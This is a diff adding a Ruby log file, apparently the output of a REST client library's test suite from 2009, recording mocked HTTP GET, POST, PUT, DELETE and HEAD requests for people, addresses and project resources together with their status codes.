+I, [2009-09-14T21:24:24.195311 #50281]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-09-14T21:24:24.205812 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-09-14T21:24:24.205970 #50281]  INFO -- : --> 200 200 (166 0ms)
+I, [2009-09-14T21:24:24.215313 #50281]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-09-14T21:24:24.215456 #50281]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-09-14T21:24:24.225355 #50281]  INFO -- : GET http://somewhere.else:80/companies/1/people.xml
+I, [2009-09-14T21:24:24.225495 #50281]  INFO -- : --> 200 200 (147 0ms)
+I, [2009-09-14T21:24:24.234791 #50281]  INFO -- : GET http://somewhere.else:80/companies/1/people.xml
+I, [2009-09-14T21:24:24.234929 #50281]  INFO -- : --> 200 200 (147 0ms)
+I, [2009-09-14T21:24:24.244271 #50281]  INFO -- : GET http://somewhere.else:80/people/managers.xml
+I, [2009-09-14T21:24:24.244456 #50281]  INFO -- : --> 200 200 (147 0ms)
+I, [2009-09-14T21:24:24.254442 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-09-14T21:24:24.254604 #50281]  INFO -- : --> 200 200 (166 0ms)
+I, [2009-09-14T21:24:24.263912 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/2/addresses.xml
+I, [2009-09-14T21:24:24.264054 #50281]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-14T21:24:24.271426 #50281]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-09-14T21:24:24.271547 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:24.280591 #50281]  INFO -- : GET http://somewhere.else:80/people/99.xml
+I, [2009-09-14T21:24:24.280738 #50281]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-14T21:24:24.280955 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people//addresses/1.xml
+I, [2009-09-14T21:24:24.281041 #50281]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-14T21:24:24.288805 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-14T21:24:24.288950 #50281]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-14T21:24:24.297915 #50281]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-09-14T21:24:24.298064 #50281]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-09-14T21:24:24.308063 #50281]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-09-14T21:24:24.308210 #50281]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-09-14T21:24:24.318114 #50281]  INFO -- : GET http://somewhere.else:80/companies/1/manager.xml
+I, [2009-09-14T21:24:24.318250 #50281]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-09-14T21:24:24.327230 #50281]  INFO -- : GET http://somewhere.else:80/people/leader.xml
+I, [2009-09-14T21:24:24.327378 #50281]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-09-14T21:24:24.336108 #50281]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-09-14T21:24:24.336247 #50281]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-09-14T21:24:24.395267 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-09-14T21:24:24.395418 #50281]  INFO -- : --> 200 200 (166 0ms)
+I, [2009-09-14T21:24:24.405022 #50281]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-09-14T21:24:24.405322 #50281]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-09-14T21:24:24.415551 #50281]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-09-14T21:24:24.415694 #50281]  INFO -- : --> 200 200 (166 0ms)
+I, [2009-09-14T21:24:24.417811 #50281]  INFO -- : GET http://somewhere.else:80/people.json
+I, [2009-09-14T21:24:24.417919 #50281]  INFO -- : --> 200 200 (48 0ms)
+I, [2009-09-14T21:24:24.419132 #50281]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-09-14T21:24:24.419229 #50281]  INFO -- : --> 200 200 (224 0ms)
+I, [2009-09-14T21:24:24.422099 #50281]  INFO -- : GET http://somewhere.else:80/people/retrieve.json?name=David
+I, [2009-09-14T21:24:24.422224 #50281]  INFO -- : --> 200 200 (25 0ms)
+I, [2009-09-14T21:24:24.423053 #50281]  INFO -- : GET http://somewhere.else:80/people/retrieve.xml?name=David
+I, [2009-09-14T21:24:24.423134 #50281]  INFO -- : --> 200 200 (149 0ms)
+I, [2009-09-14T21:24:24.425043 #50281]  INFO -- : GET http://somewhere.else:80/people/2.json
+I, [2009-09-14T21:24:24.425139 #50281]  INFO -- : --> 200 200 (23 0ms)
+I, [2009-09-14T21:24:24.425427 #50281]  INFO -- : GET http://somewhere.else:80/people/2/shallow.json
+I, [2009-09-14T21:24:24.425508 #50281]  INFO -- : --> 200 200 (23 0ms)
+I, [2009-09-14T21:24:24.426363 #50281]  INFO -- : GET http://somewhere.else:80/people/2.xml
+I, [2009-09-14T21:24:24.426443 #50281]  INFO -- : --> 200 200 (103 0ms)
+I, [2009-09-14T21:24:24.427693 #50281]  INFO -- : GET http://somewhere.else:80/people/2/shallow.xml
+I, [2009-09-14T21:24:24.427777 #50281]  INFO -- : --> 200 200 (103 0ms)
+I, [2009-09-14T21:24:24.429095 #50281]  INFO -- : POST http://somewhere.else:80/people.json
+I, [2009-09-14T21:24:24.429296 #50281]  INFO -- : --> 201 201 (15 0ms)
+I, [2009-09-14T21:24:24.429634 #50281]  INFO -- : POST http://somewhere.else:80/people/new/register.json
+I, [2009-09-14T21:24:24.429713 #50281]  INFO -- : --> 201 201 (15 0ms)
+I, [2009-09-14T21:24:24.430327 #50281]  INFO -- : POST http://somewhere.else:80/people.xml
+I, [2009-09-14T21:24:24.430404 #50281]  INFO -- : --> 201 201 (74 0ms)
+I, [2009-09-14T21:24:24.431694 #50281]  INFO -- : POST http://somewhere.else:80/people/new/register.xml
+I, [2009-09-14T21:24:24.431786 #50281]  INFO -- : --> 201 201 (74 0ms)
+I, [2009-09-14T21:24:24.432223 #50281]  INFO -- : GET http://somewhere.else:80/people/1.json
+I, [2009-09-14T21:24:24.432307 #50281]  INFO -- : --> 200 200 (23 0ms)
+I, [2009-09-14T21:24:24.432986 #50281]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-09-14T21:24:24.433074 #50281]  INFO -- : --> 200 200 (103 0ms)
+I, [2009-09-14T21:24:24.435294 #50281]  INFO -- : POST http://somewhere.else:80/people.json
+I, [2009-09-14T21:24:24.435404 #50281]  INFO -- : --> 201 201 (50 0ms)
+I, [2009-09-14T21:24:24.436642 #50281]  INFO -- : POST http://somewhere.else:80/people.xml
+I, [2009-09-14T21:24:24.436722 #50281]  INFO -- : --> 201 201 (132 0ms)
+I, [2009-09-14T21:24:24.439316 #50281]  INFO -- : POST http://somewhere.else:80/people.xml
+I, [2009-09-14T21:24:24.439431 #50281]  INFO -- : --> 201 201 (106 0ms)
+I, [2009-09-14T21:24:24.441278 #50281]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-09-14T21:24:24.441377 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:24.442635 #50281]  INFO -- : DELETE http://somewhere.else:80/people/1.xml
+I, [2009-09-14T21:24:24.442730 #50281]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-14T21:24:24.443356 #50281]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-09-14T21:24:24.443441 #50281]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-14T21:24:24.445406 #50281]  INFO -- : PUT http://somewhere.else:80/people/1.xml
+I, [2009-09-14T21:24:24.445599 #50281]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-14T21:24:24.447940 #50281]  INFO -- : POST http://37s.sunrise.i:3000/projects.xml
+I, [2009-09-14T21:24:24.448044 #50281]  INFO -- : --> 201 201 (123 0ms)
+I, [2009-09-14T21:24:24.451356 #50281]  INFO -- : POST http://37s.sunrise.i:3000/projects.xml
+I, [2009-09-14T21:24:24.451491 #50281]  INFO -- : --> 201 201 (123 0ms)
+I, [2009-09-28T14:52:01.460213 #26952]  INFO -- : DELETE http://localhost:80/people/2.xml
+I, [2009-09-28T14:52:01.460470 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:01.461456 #26952]  INFO -- : GET http://localhost:80/people/2.xml
+I, [2009-09-28T14:52:01.461579 #26952]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-09-28T14:52:01.504344 #26952]  INFO -- : POST http://localhost:80/people/2/addresses.xml
+I, [2009-09-28T14:52:01.504498 #26952]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-09-28T14:52:01.505429 #26952]  INFO -- : PUT http://localhost:80/people/2.xml
+I, [2009-09-28T14:52:01.505534 #26952]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-28T14:52:01.506435 #26952]  INFO -- : POST http://localhost:80/people/2.xml
+I, [2009-09-28T14:52:01.506665 #26952]  INFO -- : POST http://localhost:80/people/2/addresses.xml
+I, [2009-09-28T14:52:01.506845 #26952]  INFO -- : PUT http://localhost:80/people/2.xml
+I, [2009-09-28T14:52:01.507014 #26952]  INFO -- : DELETE http://localhost:80/people/2.xml
+I, [2009-09-28T14:52:01.535014 #26952]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-09-28T14:52:01.535176 #26952]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-09-28T14:52:01.540865 #26952]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-28T14:52:01.541020 #26952]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-09-28T14:52:01.543553 #26952]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-09-28T14:52:01.543681 #26952]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-09-28T14:52:01.544522 #26952]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-28T14:52:01.544631 #26952]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-09-28T14:52:01.579554 #26952]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-09-28T14:52:01.579708 #26952]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-09-28T14:52:01.580736 #26952]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-28T14:52:01.580835 #26952]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-09-28T14:52:01.583063 #26952]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-09-28T14:52:01.583185 #26952]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-09-28T14:52:01.584123 #26952]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-28T14:52:01.584216 #26952]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-09-28T14:52:01.587445 #26952]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-09-28T14:52:01.587573 #26952]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-09-28T14:52:01.588401 #26952]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-28T14:52:01.588494 #26952]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-09-28T14:52:01.590570 #26952]  INFO -- : POST http://37s.sunrise.i:3000/people.json
+I, [2009-09-28T14:52:01.590684 #26952]  INFO -- : --> 422 422 (118 0ms)
+I, [2009-09-28T14:52:01.591506 #26952]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-28T14:52:01.591596 #26952]  INFO -- : --> 422 422 (209 0ms)
+I, [2009-09-28T14:52:01.606746 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-28T14:52:01.606893 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:01.653619 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-28T14:52:01.653775 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:01.655365 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-28T14:52:01.655480 #26952]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-28T14:52:01.665085 #26952]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-28T14:52:01.665227 #26952]  INFO -- : --> 201 201 (109 0ms)
+I, [2009-09-28T14:52:01.667305 #26952]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-28T14:52:01.667423 #26952]  INFO -- : --> 409 409 (0 0ms)
+I, [2009-09-28T14:52:01.675679 #26952]  INFO -- : POST http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-09-28T14:52:01.675851 #26952]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-09-28T14:52:01.684069 #26952]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-28T14:52:01.684211 #26952]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-09-28T14:52:01.808680 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-09-28T14:52:01.808883 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:01.817842 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/4.xml
+I, [2009-09-28T14:52:01.817990 #26952]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-28T14:52:01.832680 #26952]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-28T14:52:01.832825 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:01.833037 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-28T14:52:01.833114 #26952]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-28T14:52:01.840485 #26952]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-28T14:52:01.840614 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:01.840819 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-28T14:52:01.840895 #26952]  INFO -- : --> 410 410 (0 0ms)
+I, [2009-09-28T14:52:01.848751 #26952]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-28T14:52:01.848893 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:01.849110 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-28T14:52:01.849196 #26952]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-28T14:52:01.856609 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-28T14:52:01.856732 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:01.858119 #26952]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-28T14:52:01.858214 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:01.858424 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-28T14:52:01.858500 #26952]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-28T14:52:01.866181 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-28T14:52:01.866340 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:01.867802 #26952]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-28T14:52:01.867916 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:01.868144 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-28T14:52:01.868225 #26952]  INFO -- : --> 410 410 (0 0ms)
+I, [2009-09-28T14:52:01.875539 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-28T14:52:01.875660 #26952]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-28T14:52:01.877418 #26952]  INFO -- : DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-28T14:52:01.877569 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:01.877857 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-28T14:52:01.878131 #26952]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-28T14:52:01.885664 #26952]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-28T14:52:01.885799 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:01.885927 #26952]  INFO -- : HEAD http://37s.sunrise.i:3000/people/99.xml
+I, [2009-09-28T14:52:01.886013 #26952]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-28T14:52:01.886216 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-28T14:52:01.886291 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:01.887652 #26952]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-28T14:52:01.887756 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:01.887934 #26952]  INFO -- : HEAD http://37s.sunrise.i:3000/people/99.xml
+I, [2009-09-28T14:52:01.888022 #26952]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-28T14:52:01.888192 #26952]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-28T14:52:01.888283 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:01.888442 #26952]  INFO -- : HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+I, [2009-09-28T14:52:01.888533 #26952]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-28T14:52:01.888690 #26952]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+I, [2009-09-28T14:52:01.888823 #26952]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-28T14:52:01.888982 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-28T14:52:01.889061 #26952]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-28T14:52:01.890277 #26952]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-28T14:52:01.890374 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:01.890552 #26952]  INFO -- : HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+I, [2009-09-28T14:52:01.890640 #26952]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-28T14:52:01.890840 #26952]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+I, [2009-09-28T14:52:01.890927 #26952]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-09-28T14:52:01.898320 #26952]  INFO -- : HEAD http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-28T14:52:01.898442 #26952]  INFO -- : --> 410 410 (0 0ms)
+I, [2009-09-28T14:52:01.906003 #26952]  INFO -- : HEAD http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-09-28T14:52:01.906154 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:01.906302 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-09-28T14:52:01.906378 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:01.907770 #26952]  INFO -- : HEAD http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-09-28T14:52:01.907883 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:01.908023 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-09-28T14:52:01.908099 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:01.909310 #26952]  INFO -- : HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+I, [2009-09-28T14:52:01.909417 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:01.909559 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-09-28T14:52:01.909634 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:01.910770 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+I, [2009-09-28T14:52:01.910859 #26952]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-28T14:52:01.912055 #26952]  INFO -- : HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+I, [2009-09-28T14:52:01.912167 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:01.920207 #26952]  INFO -- : HEAD http://37s.sunrise.i:3000/people/not-mocked.xml
+I, [2009-09-28T14:52:01.920393 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:01.943331 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-28T14:52:01.943495 #26952]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-28T14:52:02.004029 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/5.xml
+I, [2009-09-28T14:52:02.004180 #26952]  INFO -- : --> 200 200 (223 0ms)
+I, [2009-09-28T14:52:02.013630 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-28T14:52:02.013778 #26952]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-28T14:52:02.023169 #26952]  INFO -- : GET http://37s.sunrise.i:3000/customers/1.xml
+I, [2009-09-28T14:52:02.023330 #26952]  INFO -- : --> 200 200 (1458 0ms)
+I, [2009-09-28T14:52:02.089768 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-09-28T14:52:02.089922 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:02.091439 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/Greg.xml
+I, [2009-09-28T14:52:02.091540 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:02.100044 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-28T14:52:02.100179 #26952]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-28T14:52:02.101524 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-28T14:52:02.101622 #26952]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-28T14:52:02.110278 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people.xml
+I, [2009-09-28T14:52:02.110439 #26952]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-09-28T14:52:02.113141 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-28T14:52:02.113322 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:02.121832 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1.xml
+I, [2009-09-28T14:52:02.121968 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:02.130868 #26952]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-28T14:52:02.131009 #26952]  INFO -- : --> 201 201 (109 0ms)
+I, [2009-09-28T14:52:02.188388 #26952]  INFO -- : POST http://37s.sunrise.i:3000/people.xml
+I, [2009-09-28T14:52:02.188560 #26952]  INFO -- : --> 201 201 (109 0ms)
+I, [2009-09-28T14:52:02.324244 #26952]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-09-28T14:52:02.324402 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:02.333306 #26952]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-09-28T14:52:02.333446 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:02.342591 #26952]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-09-28T14:52:02.342736 #26952]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-09-28T14:52:02.395093 #26952]  INFO -- : PUT http://somewhere.else:80/people/1.xml
+I, [2009-09-28T14:52:02.395255 #26952]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-28T14:52:02.402985 #26952]  INFO -- : GET http://somewhere.else:80/people/2.xml
+I, [2009-09-28T14:52:02.403127 #26952]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-09-28T14:52:02.404916 #26952]  INFO -- : PUT http://somewhere.else:80/people/2.xml
+I, [2009-09-28T14:52:02.405022 #26952]  INFO -- : --> 409 409 (0 0ms)
+I, [2009-09-28T14:52:02.412655 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-28T14:52:02.412819 #26952]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-09-28T14:52:02.414692 #26952]  INFO -- : PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-28T14:52:02.414809 #26952]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-28T14:52:02.422142 #26952]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-09-28T14:52:02.422266 #26952]  INFO -- : --> 200 200 (166 0ms)
+I, [2009-09-28T14:52:02.424368 #26952]  INFO -- : PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-09-28T14:52:02.424477 #26952]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-28T14:52:02.472662 #26952]  INFO -- : GET http://localhost:80/people/1.xml
+I, [2009-09-28T14:52:02.472847 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:02.476152 #26952]  INFO -- : DELETE http://localhost:80/people/1.xml
+I, [2009-09-28T14:52:02.476273 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:02.478207 #26952]  INFO -- : DELETE http://localhost:80/people/2.xml
+I, [2009-09-28T14:52:02.478310 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:02.480262 #26952]  INFO -- : GET http://localhost:80/people/1.xml
+I, [2009-09-28T14:52:02.480415 #26952]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-09-28T14:52:02.483905 #26952]  INFO -- : GET http://localhost:80/people.xml
+I, [2009-09-28T14:52:02.484031 #26952]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-09-28T14:52:02.488297 #26952]  INFO -- : GET http://localhost:80/people_empty_elements.xml
+I, [2009-09-28T14:52:02.488429 #26952]  INFO -- : --> 200 200 (77 0ms)
+I, [2009-09-28T14:52:02.491054 #26952]  INFO -- : GET http://localhost:80/people_single_elements.xml
+I, [2009-09-28T14:52:02.491162 #26952]  INFO -- : --> 200 200 (208 0ms)
+I, [2009-09-28T14:52:02.494574 #26952]  INFO -- : GET http://localhost:80/people/2.xml
+I, [2009-09-28T14:52:02.494692 #26952]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-09-28T14:52:02.500795 #26952]  INFO -- : HEAD http://localhost:80/people/1.xml
+I, [2009-09-28T14:52:02.500918 #26952]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-09-28T14:52:02.505916 #26952]  INFO -- : POST http://localhost:80/people.xml
+I, [2009-09-28T14:52:02.506066 #26952]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-09-28T14:52:02.508113 #26952]  INFO -- : POST http://localhost:80/members.xml
+I, [2009-09-28T14:52:02.508208 #26952]  INFO -- : --> 201 201 (1 0ms)
+I, [2009-09-28T14:52:02.512453 #26952]  INFO -- : PUT http://localhost:80/people/1.xml
+I, [2009-09-28T14:52:02.512617 #26952]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-28T14:52:02.514660 #26952]  INFO -- : PUT http://localhost:80/people/2.xml
+I, [2009-09-28T14:52:02.514759 #26952]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-28T14:52:02.523517 #26952]  INFO -- : GET http://localhost:80/people/1.xml
+I, [2009-09-28T14:52:02.528732 #26952]  INFO -- : GET http://localhost:80/people_timeout.xml
+I, [2009-09-28T14:52:02.533369 #26952]  INFO -- : GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+I, [2009-09-28T14:52:02.533485 #26952]  INFO -- : --> 200 200 (146 0ms)
+I, [2009-09-28T14:52:02.535225 #26952]  INFO -- : POST http://somewhere.else:80/people/hire.xml?name=Matz
+I, [2009-09-28T14:52:02.535341 #26952]  INFO -- : --> 201 201 (0 0ms)
+I, [2009-09-28T14:52:02.535501 #26952]  INFO -- : PUT http://somewhere.else:80/people/promote.xml?name=Matz
+I, [2009-09-28T14:52:02.535581 #26952]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-28T14:52:02.535735 #26952]  INFO -- : PUT http://somewhere.else:80/people/sort.xml?by=name
+I, [2009-09-28T14:52:02.535812 #26952]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-09-28T14:52:02.535959 #26952]  INFO -- : DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+I, [2009-09-28T14:52:02.536039 #26952]  INFO -- : --> 200 200 (0 0ms)
